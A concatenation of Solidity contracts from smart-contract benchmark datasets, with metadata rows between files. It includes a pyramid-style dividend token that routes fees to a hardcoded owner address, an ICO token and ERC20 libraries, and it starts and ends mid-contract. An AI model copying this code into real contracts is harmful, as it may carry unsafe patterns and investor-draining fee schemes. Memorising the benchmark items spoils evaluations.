function getUserIsTop(address _addr) public view returns (uint256) {
return users[_addr].isTop ;
}
function changeMinLimit(uint256 _newValue) public {
require(msg.sender == owner, "Authorization failed");
minLimit = _newValue;
}
function changeTeamLevels(uint256 _newValue) public {
require(msg.sender == owner, "Authorization failed");
TEAM_LEVELS = _newValue;
}
function getLuckyUser(uint256 _index) external view returns (address userAddress, uint256 value, uint256 timestamp){
return (lucky_users[_index].userAddress, lucky_users[_index].value , lucky_users[_index].time);
}
function getUserLuckyBonus(address _addr) public view returns (uint256){
return users[_addr].lucky_bonus;
}
function getAdmin() public view returns (address){
return owner;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 284,761 | 322 |
d5cba9eaa3c7a7d20cc86ea224d50aeee426cd3cb7e9182e64e8a15f91d57783
| 12,957 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1685956d1a0b0a83d3d64a99298428fe1a1b53f6.sol
| 3,463 | 12,378 |
pragma solidity ^0.4.25;
contract MoonConceptToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Moon Concept Token";
string public symbol = "MCT";
address constant internal boss = 0x75994868e1F467b217C781Eb41cCAA3D436066BC;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 166,765 | 323 |
9cfe8f52aff41c4a0a65334b41611302e1d668c6ce70f687b668799c8889e4d9
| 12,545 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3af4d277206f4bca9180355268abbd2dece77090.sol
| 2,567 | 11,981 |
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract SEPCToken is ERC20Interface, Ownable{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
// ERC20 token max reward amount
uint public angelMaxAmount;
uint public firstMaxAmount;
uint public secondMaxAmount;
uint public thirdMaxAmount;
// ERC20 token current reward amount
uint public angelCurrentAmount = 0;
uint public firstCurrentAmount = 0;
uint public secondCurrentAmount = 0;
uint public thirdCurrentAmount = 0;
// ERC20 token reward rate
uint public angelRate = 40000;
uint public firstRate = 13333;
uint public secondRate = 10000;
uint public thirdRate = 6153;
//Team hold amount
uint public teamHoldAmount = 700000000;
//every stage start time and end time
uint public angelStartTime = 1528905600; // Bei jing time 2018/06/14 00:00:00
uint public firstStartTime = 1530201600; // Beijing time 2018/06/29 00:00:00
uint public secondStartTime = 1531929600; // Beijing time 2018/07/19 00:00:00
uint public thirdStartTime = 1534521600; // Beijing time 2018/08/18 00:00:00
uint public endTime = 1550419200; // Beijing time 2019/02/18 00:00:00
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SEPCToken() public {
symbol = "SEPC";
name = "SEPC";
decimals = 18;
angelMaxAmount = 54000000 * 10**uint(decimals);
firstMaxAmount = 56000000 * 10**uint(decimals);
secondMaxAmount= 90000000 * 10**uint(decimals);
thirdMaxAmount = 100000000 * 10**uint(decimals);
_totalSupply = 1000000000 * 10**uint(decimals);
balances[msg.sender] = teamHoldAmount * 10**uint(decimals);
emit Transfer(address(0), msg.sender, teamHoldAmount * 10**uint(decimals));
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// send ERC20 Token to multi address
// ------------------------------------------------------------------------
function multiTransfer(address[] _addresses, uint256[] amounts) public returns (bool success){
for (uint256 i = 0; i < _addresses.length; i++) {
transfer(_addresses[i], amounts[i]);
}
return true;
}
// ------------------------------------------------------------------------
// send ERC20 Token to multi address with decimals
// ------------------------------------------------------------------------
function multiTransferDecimals(address[] _addresses, uint256[] amounts) public returns (bool success){
for (uint256 i = 0; i < _addresses.length; i++) {
transfer(_addresses[i], amounts[i] * 10**uint(decimals));
}
return true;
}
// ------------------------------------------------------------------------
// Crowd-funding
// ------------------------------------------------------------------------
function () payable public {
require(now < endTime && now >= angelStartTime);
require(angelCurrentAmount <= angelMaxAmount && firstCurrentAmount <= firstMaxAmount && secondCurrentAmount <= secondMaxAmount && thirdCurrentAmount <= thirdMaxAmount);
uint weiAmount = msg.value;
uint rewardAmount;
if(now >= angelStartTime && now < firstStartTime){
rewardAmount = weiAmount.mul(angelRate);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
angelCurrentAmount = angelCurrentAmount.add(rewardAmount);
require(angelCurrentAmount <= angelMaxAmount);
}else if (now >= firstStartTime && now < secondStartTime){
rewardAmount = weiAmount.mul(firstRate);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
firstCurrentAmount = firstCurrentAmount.add(rewardAmount);
require(firstCurrentAmount <= firstMaxAmount);
}else if(now >= secondStartTime && now < thirdStartTime){
rewardAmount = weiAmount.mul(secondRate);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
secondCurrentAmount = secondCurrentAmount.add(rewardAmount);
require(secondCurrentAmount <= secondMaxAmount);
}else if(now >= thirdStartTime && now < endTime){
rewardAmount = weiAmount.mul(thirdRate);
balances[msg.sender] = balances[msg.sender].add(rewardAmount);
thirdCurrentAmount = thirdCurrentAmount.add(rewardAmount);
require(thirdCurrentAmount <= thirdMaxAmount);
}
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// After-Crowd-funding
// ------------------------------------------------------------------------
function collectToken() public onlyOwner {
require(now > endTime);
balances[owner] = balances[owner].add(angelMaxAmount + firstMaxAmount + secondMaxAmount + thirdMaxAmount -angelCurrentAmount - firstCurrentAmount - secondCurrentAmount - thirdCurrentAmount);
}
}
| 212,236 | 324 |
6d0211cc7adbbea463d987ed8b237158d9639bedca875c788dcf22ed7e267a16
| 36,994 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0610C2d9F6EbC40078cf081e2D1C4252dD50ad15/contract.sol
| 4,104 | 16,293 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract gvVALUE is ERC20 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public governance;
